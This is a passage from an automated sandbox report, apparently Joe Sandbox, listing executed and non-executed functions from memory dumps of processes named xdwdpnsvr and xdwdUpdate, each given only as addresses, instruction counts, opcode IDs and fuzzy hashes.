                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6b0756ef8e1bdcfdb0eae80f70a95867096a5892bb4d9e9ae1022af174b1fed8
                                                                                                                                                                            • Instruction ID: dfa850bd476d8b2f07906ad7b4d2fd49b7e2de6721287af995a6d2a638fe04ff
                                                                                                                                                                            • Opcode Fuzzy Hash: 6b0756ef8e1bdcfdb0eae80f70a95867096a5892bb4d9e9ae1022af174b1fed8
                                                                                                                                                                            • Instruction Fuzzy Hash: A2E0EC31A258DE8FEAA0AB4CD1945E876E0EF79314F1504B1E44DC72B6EB69EC814742
                                                                                                                                                                            Function 00007FFE6F7CC1BA Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 186b076e6c4b3ba6525098acacbf2a869feea56263cec0d2ba6828f0fd045b70
                                                                                                                                                                            • Instruction ID: c0b2681f70d001221fda7d4333233793ebfe991a9e2a0086ec2ba150adaa886a
                                                                                                                                                                            • Opcode Fuzzy Hash: 186b076e6c4b3ba6525098acacbf2a869feea56263cec0d2ba6828f0fd045b70
                                                                                                                                                                            • Instruction Fuzzy Hash: BED02E3062A98CCEDF40ABA894093FD7360FF88322F80003AD00FD21C1CA79D4A4C380
                                                                                                                                                                            Function 00007FFE6F7CC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 608715f025c33cea443806cde852be30872c553935b51be31c3d1575556fcc18
                                                                                                                                                                            • Instruction ID: e083e6fc454b78c022c894ba6e4f1f5d8a4f8a97fdb79a4f01390f85403ab5d0
                                                                                                                                                                            • Opcode Fuzzy Hash: 608715f025c33cea443806cde852be30872c553935b51be31c3d1575556fcc18
                                                                                                                                                                            • Instruction Fuzzy Hash: 55D0E914B39C9D8E66D9B32C105A3BD50C39BDD211B5445BAE50EC72A6ED2868431241
                                                                                                                                                                            Function 00007FFE6F7C98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fd863b1e489769e48ed580a7df187310e8f4417b04e2cdca72471004d6f2b586
                                                                                                                                                                            • Instruction ID: 84cf9544f6b29090994ea2db70cc0a376d2b2032bb86288fafc42625861bee6e
                                                                                                                                                                            • Opcode Fuzzy Hash: fd863b1e489769e48ed580a7df187310e8f4417b04e2cdca72471004d6f2b586
                                                                                                                                                                            • Instruction Fuzzy Hash: 91D01224C9984F45EB08BBA484016EDB5A0DF50224F08407C940C92576DA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7C9E46 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bde633debd92a4d1d7cd1a4ace58a830100f7ef8f2ae0f75a3fd2deb7b9b7eac
                                                                                                                                                                            • Instruction ID: c6499c1866eeabe686cd3c5405abb9e98077a764610a60384389d9e4152d807d
                                                                                                                                                                            • Opcode Fuzzy Hash: bde633debd92a4d1d7cd1a4ace58a830100f7ef8f2ae0f75a3fd2deb7b9b7eac
                                                                                                                                                                            • Instruction Fuzzy Hash: 69D0C93561090C8FD690EB88E484AA53BE1EF692113120092E04DC7264D666EC818741
                                                                                                                                                                            Function 00007FFE6F7C882D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: edcbb464d52c9dffb6dda03a743b79f7ae7271c74d001d741d388d766aa2f919
                                                                                                                                                                            • Instruction ID: a00ad6548f7056869f23dce5a659d41ff29b45f29cf04cd599d4699946d324df
                                                                                                                                                                            • Opcode Fuzzy Hash: edcbb464d52c9dffb6dda03a743b79f7ae7271c74d001d741d388d766aa2f919
                                                                                                                                                                            • Instruction Fuzzy Hash: AFD0122171890D5F5640FA1C9489AFE73C3E7EC651B24453AD40DC3274EF30E9478382
                                                                                                                                                                            Function 00007FFE6F7C852E Relevance: .0, Instructions: 15COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ca84ad28471e07ba89171ccfc269e2563cf54fc29e07be3afda8ef58166959c5
                                                                                                                                                                            • Instruction ID: a41283b392e39b894906482408fedeaf0e1d34fb6dc9ee36e51f20a8f56a8108
                                                                                                                                                                            • Opcode Fuzzy Hash: ca84ad28471e07ba89171ccfc269e2563cf54fc29e07be3afda8ef58166959c5
                                                                                                                                                                            • Instruction Fuzzy Hash: D7D0223062B30C8DEB282B3828010EC36A08F00261F9004BEF804CA1A3E82EC0C18300
                                                                                                                                                                            Function 00007FFE6F7CD3AF Relevance: .0, Instructions: 10COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f3a190f26d8eb944efc31ee749313b15436920d8eaf3696423d1453e4ddf6964
                                                                                                                                                                            • Instruction ID: a2d04c5f787a10bf939d2c159af37438c1ff48014382ee76e1720a568cbbdfcc
                                                                                                                                                                            • Opcode Fuzzy Hash: f3a190f26d8eb944efc31ee749313b15436920d8eaf3696423d1453e4ddf6964
                                                                                                                                                                            • Instruction Fuzzy Hash: A3A011333CA80800A000008A3C820C8B308E8C003A2AA20A3EA0CC0A00828B08A20282
                                                                                                                                                                            Function 00007FFE6F7CD547 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e32ca8a24273ea120de7f6022c598d962270a60d5371a22f511657fd698bccb5
                                                                                                                                                                            • Instruction ID: bb7e03881513b5d73f752b6935e5f679da8136eddea89d118cb8bdd76b373955
                                                                                                                                                                            • Opcode Fuzzy Hash: e32ca8a24273ea120de7f6022c598d962270a60d5371a22f511657fd698bccb5
                                                                                                                                                                            • Instruction Fuzzy Hash: 02A0022B7E682901E6001CEEBC130E8F345C9D107A78B1473EE6CCAA94DADB45A70195
                                                                                                                                                                            Function 00007FFE6F7CB595 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction ID: d6ac9ceada749f4cf1c0b9ba46e940d6ca9c0cfea73a635362377ed0e5ece2e4
                                                                                                                                                                            • Opcode Fuzzy Hash: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction Fuzzy Hash: 85B0921223590C5E9348E319845A5E97290EB6C219B40093AA88AC21A1FC00AA928345

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 00007FFE6F7C0928 Relevance: 5.0, Strings: 4, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 8e6ac4e3dd61a96930d10ae14944da56f59c1895133ba78788ad4a5474e85e24
                                                                                                                                                                            • Instruction ID: c2d1d94d515464f08a0853b35aae925909015d13094c33ca31574804bc549d9f
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e6ac4e3dd61a96930d10ae14944da56f59c1895133ba78788ad4a5474e85e24
                                                                                                                                                                            • Instruction Fuzzy Hash: DED05E1B734C7A079244679DB4502D8D7C5E7C40F33908673EB41D229252506857C3E0

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7D32F0 Relevance: 1.7, Strings: 1, Instructions: 421COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(M_^
                                                                                                                                                                            • API String ID: 0-1436446073
                                                                                                                                                                            • Opcode ID: 78248110ca579ebcdf20f5e34c3e882f65ba4f4cf71618466e96b51bec5b16ae
                                                                                                                                                                            • Instruction ID: dfa0eeb1f1eaede7829597aa6cc1d6ff3c6915375835e80c5bdaeb1e9a1b56af
                                                                                                                                                                            • Opcode Fuzzy Hash: 78248110ca579ebcdf20f5e34c3e882f65ba4f4cf71618466e96b51bec5b16ae
                                                                                                                                                                            • Instruction Fuzzy Hash: 44E11E59D3E2DE8EF7A7572498121F53B604F12354F9942FAC489CB1E3F90C790A83A2
                                                                                                                                                                            Function 00007FFE6F7D86E8 Relevance: 1.6, Strings: 1, Instructions: 371COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: {>
                                                                                                                                                                            • API String ID: 0-3919259914
                                                                                                                                                                            • Opcode ID: a466f9c75f0dca890c5406c988df3354fea919ab62b3dcf9585da72896646f43
                                                                                                                                                                            • Instruction ID: d38c32859c1d42161355313aa9ac25e03886255adf9893b4a68c3984d75f28bb
                                                                                                                                                                            • Opcode Fuzzy Hash: a466f9c75f0dca890c5406c988df3354fea919ab62b3dcf9585da72896646f43
                                                                                                                                                                            • Instruction Fuzzy Hash: DCC1C215D3E2CE8EE756937898552F83BA09F56310F8912BAD489C71F3FD0C784A8392
                                                                                                                                                                            Function 00007FFE6F7D1658 Relevance: 1.4, Strings: 1, Instructions: 176COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: 900d8dffc8ce835d78fe8106905cd95077b7f07e5083e3c5562c4f4b44429a07
                                                                                                                                                                            • Instruction ID: 3d274c11c8c126060b9150b2a27c9fa5f78b5c72c25a0efa865d1600cdde67f9
                                                                                                                                                                            • Opcode Fuzzy Hash: 900d8dffc8ce835d78fe8106905cd95077b7f07e5083e3c5562c4f4b44429a07
                                                                                                                                                                            • Instruction Fuzzy Hash: 35612C55D2E3CA8EF757973458252A53F605F17224F5902FBD088CB4F3F99C681A83A2
                                                                                                                                                                            Function 00007FFE6F7D32C0 Relevance: .2, Instructions: 218COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0106317256278662bbdb1f2bcb29c3a9afb3d92e3d7a456a0c7ae9f2c422564a
                                                                                                                                                                            • Instruction ID: 9aa922734b3a4decb9f5ddac907a12bd7f650445565e8d199cdb004274b3dd55
                                                                                                                                                                            • Opcode Fuzzy Hash: 0106317256278662bbdb1f2bcb29c3a9afb3d92e3d7a456a0c7ae9f2c422564a
                                                                                                                                                                            • Instruction Fuzzy Hash: DF717A28D3F1DF86FBEA932889035FA36509B51311FD41779C88CC60F2BD1DB41A82A2
                                                                                                                                                                            Function 00007FFE6F7D351D Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(M_^
                                                                                                                                                                            • API String ID: 0-1436446073
                                                                                                                                                                            • Opcode ID: af029fcf179599a195c180a94cd8f3a6d0361a248f5a1e11cdbd473d4d4807fb
                                                                                                                                                                            • Instruction ID: 6f7a80bbd32fd5b763a7362e7470b8890767a8653e54efdce83c4906453125df
                                                                                                                                                                            • Opcode Fuzzy Hash: af029fcf179599a195c180a94cd8f3a6d0361a248f5a1e11cdbd473d4d4807fb
                                                                                                                                                                            • Instruction Fuzzy Hash: 18514B9A81E3D94FE7932730A8752D13F754E2329475A41E7C4C6CB2E3E80D5E49C7A2
                                                                                                                                                                            Function 00007FFE6F7DE63F Relevance: 1.4, Strings: 1, Instructions: 107COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: H
                                                                                                                                                                            • API String ID: 0-2852464175
                                                                                                                                                                            • Opcode ID: 7180f928711b6ef31e3d539ac93a2eb66fa11a42939a6cb1c2414f5e5c75b442
                                                                                                                                                                            • Instruction ID: 1d65be8d69dcc4a1dc5555cc7f334ff6a1e987a9fccd2765fc012b0dccb67f62
                                                                                                                                                                            • Opcode Fuzzy Hash: 7180f928711b6ef31e3d539ac93a2eb66fa11a42939a6cb1c2414f5e5c75b442
                                                                                                                                                                            • Instruction Fuzzy Hash: C5315625E799AE8BEB96E76C80516FDB2D1AF58310F950674D90ED31E2ED1CBC024390
                                                                                                                                                                            Function 00007FFE6F7D16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: 825d5817435d58bb52666256c88170edbf931375a9faa7228bbf11f65dcdd4ce
                                                                                                                                                                            • Instruction ID: 586a11229687f95313555e0c34f6387ca9dd6fd4344b5c2cec25281d4b934bf2
                                                                                                                                                                            • Opcode Fuzzy Hash: 825d5817435d58bb52666256c88170edbf931375a9faa7228bbf11f65dcdd4ce
                                                                                                                                                                            • Instruction Fuzzy Hash: 4C212A29E3E08F81FBA8B22898062FA31414F68366FD45778E44CC21F3FE8C741A41D2
                                                                                                                                                                            Function 00007FFE6F7D1647 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: 533ec1542d3480d7d89f9a9264c1342c20619967a60cb587ac73cddc8a2d468f
                                                                                                                                                                            • Instruction ID: 73748cfc9e49b6f59e56a6418703c1633846580874982ab1d06042df84d0ad38
                                                                                                                                                                            • Opcode Fuzzy Hash: 533ec1542d3480d7d89f9a9264c1342c20619967a60cb587ac73cddc8a2d468f
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E219019D3F1DF85FBA9A32498161F63B105F55225FC807BAD48C860F3BD8C341E82A2
                                                                                                                                                                            Function 00007FFE6F7DD6AA Relevance: .5, Instructions: 539COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2066bce57d9fb6b13938185ec22cc0219d2dba35e804d05e2651ec5ee33ec6cc
                                                                                                                                                                            • Instruction ID: c3d30f964760a942cd074b60b24c1e7304ce31e6d2d95913e49b12553d039b9a
                                                                                                                                                                            • Opcode Fuzzy Hash: 2066bce57d9fb6b13938185ec22cc0219d2dba35e804d05e2651ec5ee33ec6cc
                                                                                                                                                                            • Instruction Fuzzy Hash: 0902E521D6D6CA4FE756A73C88162A937D2AF56314F4906B6D04DC72F3EC2CA8478782
                                                                                                                                                                            Function 00007FFE6F7D26CC Relevance: .5, Instructions: 468COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8b98646dbbb0491728895fc54f9261617d7e78b1d7aa96842f41581ee5bdadef
                                                                                                                                                                            • Instruction ID: f052b0a7b42eb0ff81fac6cc9e371668dc1284f01c3fbc9f88b85b3d6cbbf841
                                                                                                                                                                            • Opcode Fuzzy Hash: 8b98646dbbb0491728895fc54f9261617d7e78b1d7aa96842f41581ee5bdadef
                                                                                                                                                                            • Instruction Fuzzy Hash: 8EF16C25F3989E8AF794B77C84656BE2683ABC8350FD10574E14ED72E6ED2CBC438640
                                                                                                                                                                            Function 00007FFE6F7DD57D Relevance: .4, Instructions: 389COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d138493b6802ed8f9ae33a9a15dc7e9d429e42f7c97bf6a073bae25d6144ebe8
                                                                                                                                                                            • Instruction ID: cec7c421ee0418145fa963d8819fcbef69551d0c6fc9072162e961908dbde55c
                                                                                                                                                                            • Opcode Fuzzy Hash: d138493b6802ed8f9ae33a9a15dc7e9d429e42f7c97bf6a073bae25d6144ebe8
                                                                                                                                                                            • Instruction Fuzzy Hash: 13C19422E7D59E4BFB55B73C88162F971C2AB98315F9506B4E40DC32E2FC2CB8478681
                                                                                                                                                                            Function 00007FFE6F7DE280 Relevance: .4, Instructions: 374COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3b88e5ff1c46109ae6487c106fa41134a8ae4685f231bbcaf62fde83d58e79f6
                                                                                                                                                                            • Instruction ID: 8e3de8f1ee5fb36e5b82f33bdf2a8708040a5c967c12b08239a91e2ba5f16d4f
                                                                                                                                                                            • Opcode Fuzzy Hash: 3b88e5ff1c46109ae6487c106fa41134a8ae4685f231bbcaf62fde83d58e79f6
                                                                                                                                                                            • Instruction Fuzzy Hash: 29C1B425D2E2CE8BE757A36848162F97B919F56314F5802BAD049C71F3FD1CB81B8392
                                                                                                                                                                            Function 00007FFE6F7DE409 Relevance: .2, Instructions: 235COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 99bad1e04e8f67153254cb1bce32dcd86f791799e0e9a4cf30d998f56438391a
                                                                                                                                                                            • Instruction ID: d230c968319773b9b6e08e70d158e160af6a966407b521e997d8367ccbb02318
                                                                                                                                                                            • Opcode Fuzzy Hash: 99bad1e04e8f67153254cb1bce32dcd86f791799e0e9a4cf30d998f56438391a
                                                                                                                                                                            • Instruction Fuzzy Hash: 57713735E7A9AFCAEB96E75C94616FDB2D1EF48700B910274D54ED31A2ED1CBC028390
                                                                                                                                                                            Function 00007FFE6F7DBF03 Relevance: .2, Instructions: 218COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 7ab1afa1940650ea443facf26f0389b8d6281c688f038ebc7ab1e9060d7b9d89
                                                                                                                                                                            • Instruction ID: 3703af2f017cb37888dfdca0346c8d782c147df06e54cc24e8171890e99e18a8
                                                                                                                                                                            • Opcode Fuzzy Hash: 7ab1afa1940650ea443facf26f0389b8d6281c688f038ebc7ab1e9060d7b9d89
